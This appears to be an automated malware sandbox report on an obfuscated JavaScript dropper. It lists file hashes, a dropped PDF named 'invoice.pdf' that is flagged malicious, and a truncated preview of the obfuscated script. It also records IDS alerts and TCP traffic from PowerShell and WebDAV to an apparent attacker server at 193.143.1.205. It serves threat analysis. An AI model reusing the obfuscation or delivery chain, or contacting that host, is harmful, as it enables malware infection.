SSDEEP:	24576:/VR9WL07oXGZnYIGNPJNdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:tR9WLxXGZnZGh3mlind9i4ufFXpAXkru
MD5:	9D85D4B75E446857CE3D750299B2AF1A
SHA1:	3CD9576D0A07B9E4454F4FF4DDF8D18EFBB764B4
SHA-256:	D3C44F50FD2912C92DAF009689B221515709E00C839A8DA425078C96F2D6053A
SHA-512:	1C63A091EF404FC446F1A789D33258FE9F6AD25C80375CADADF0829BC5DCD70A16A8E30E664D0A02F39E7A3D10B9E56AD7F9CA9D733A877726C1DD043B14842F
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (16328), with CRLF line terminators
Entropy (8bit):	4.920369945183956
TrID:
File name:	16847122831539518647.js
File size:	19'675 bytes
MD5:	8c9cdb78ef46e8564985d9bd409742d8
SHA1:	cff36a34506aaaab7f0a7d8442fbe03b70a492b6
SHA256:	9811d72ed29cee60e1c20922c55e2055425dd8f366d76ee02d37eacf15059954
SHA512:	af99b468279cf52780e66a45f978900f20995aaef3f7ff526cdb18a9db46e4f47b1498d5557b3d1b8f92db7ba8f966f7de81ef3d2a1fd4c6d56c5516f0affcf9
SSDEEP:	384:m9cRSXvFwV31BB2TIgFpIPusISSqn67CBaicFLyN31w10BXVSWSa3dU00IHGpybV:m9ASXvGV3sUgFpIPustSq67CBaicFLyv
TLSH:	BF9264A1E9026A4398D947F00A5E44EAB3B5078C855D14CBCCCBCCCD5B52A3DAEF25F9
File Content Preview:	function ylizs(){lhbgw=[1031,3079,5127,4103,2055,3072];var mvqdcvw=this[rpknlmxrg+daktb+jmkqddb+qwuozv+dicayy+dpsssbox+vvbgsu+sjirb](this[nxcawff+vdbjw+kxbhkd+jmkqddb+wdbglbgl+rpknlmxrg+sjirb][nwloc+jmkqddb+dicayy+daktb+sjirb+dicayy+lrthh+szoii+vvkgqdxxb+

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T21:23:56.882124+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.5	49726	193.143.1.205	80	TCP
2025-01-10T21:23:59.315746+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.5	49740	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 21:23:56.068397045 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:56.073353052 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:56.077672958 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:56.082910061 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:56.087658882 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:56.882038116 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:56.882055044 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:56.882074118 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:56.882086039 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:56.882098913 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:56.882112980 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:56.882123947 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:56.882126093 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:56.882144928 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:56.882153034 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:56.882158995 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:56.882174015 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:56.882190943 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:56.882214069 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:56.886951923 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:56.928025961 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:56.928037882 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:56.928086042 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.007627964 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.007648945 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.007662058 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.007673025 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.007688046 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.007697105 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.007751942 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.007944107 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.007962942 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.007977962 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.007989883 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.007992029 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.007997990 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.008038998 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.008909941 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.008924007 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.008936882 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.008949041 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.008960962 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.008964062 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.008992910 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.009697914 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.009711981 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.009723902 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.009737015 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.009742975 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.009758949 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.013808012 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.013823986 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.013834953 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.013853073 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.013875008 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.018459082 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.053941011 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.053960085 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.053997040 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.096956015 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.097958088 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.097975969 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.098041058 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.132873058 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.132889032 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.132941008 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.132951975 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.132955074 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.132966042 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.132978916 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.132991076 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.132992983 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.133013010 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.133327961 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.133368015 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.133378029 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.133388996 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.133399963 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.133423090 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.133776903 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.133789062 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.133801937 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.133814096 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.133819103 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.133826971 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.133837938 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.133840084 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.133855104 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.133872032 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.134094954 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.134706974 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.134720087 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.134732962 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.134742975 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.134761095 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.134783030 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.135149002 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.135160923 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.135179996 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.135190964 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.135194063 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.135211945 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.135222912 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.135224104 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.135236979 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.135265112 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.136192083 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.136204004 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.136215925 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.136226892 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.136239052 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.136243105 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.136256933 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.136260033 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.136275053 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.136306047 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.136327982 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.137116909 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.137136936 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.137150049 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.137162924 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.137175083 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.137181044 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.137187004 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.137201071 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.137212992 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.137268066 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.138052940 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.138097048 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.144383907 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.144397020 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.144447088 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.179483891 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.179496050 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.179543018 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.188314915 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.188335896 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.188384056 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.188395023 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.188405991 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.188436985 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.223351955 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.223366022 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.223418951 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.263622046 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.263645887 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.263663054 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.263678074 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.263700962 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.263715982 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.263761997 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.264929056 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.264969110 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.265034914 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.265039921 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.265057087 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.265080929 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.265084028 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.265096903 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.265115023 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.265130043 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.265132904 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.265155077 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.265158892 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.265197039 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.265455008 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.265470028 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.265486002 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.265501976 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.265511990 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.265542984 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.265682936 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.265806913 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.265822887 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.265840054 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.265847921 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.265863895 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.265878916 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.265888929 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.265899897 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.265916109 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.265919924 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.265930891 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.265948057 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.265958071 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.266001940 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.266484976 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.266499043 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.266526937 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.266542912 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.266546011 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.266562939 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.266593933 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.266804934 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.266822100 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.266838074 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.266849041 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.266854048 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.266884089 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.267038107 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.267075062 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.267096043 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.267102957 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.267143965 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.267151117 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.267222881 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.267263889 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.267345905 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.267364025 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.267375946 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.267386913 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.267400980 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.267414093 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.267417908 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.267446041 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.267465115 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.267781019 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.267791986 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.267805099 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.267824888 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.267832994 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.267837048 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.267851114 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.267860889 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.267867088 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.267903090 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.268570900 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.268591881 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.268611908 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.268795013 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.268806934 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.268820047 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.268831015 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.268843889 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.268843889 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.268857002 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.268863916 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.268870115 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.268882036 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.268893957 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.268904924 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.268904924 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.268918037 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.268928051 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.268933058 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.268946886 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.268948078 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.268965960 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.268990993 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.269732952 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.269745111 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.269757986 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.269768953 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.269783020 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.269789934 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.269794941 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.269807100 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.269818068 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.269839048 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.272933006 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.285265923 CET	49726	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:23:57.294091940 CET	80	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 21:23:57.294110060 CET	80	49726	193.143.1.205	192.168.2.5
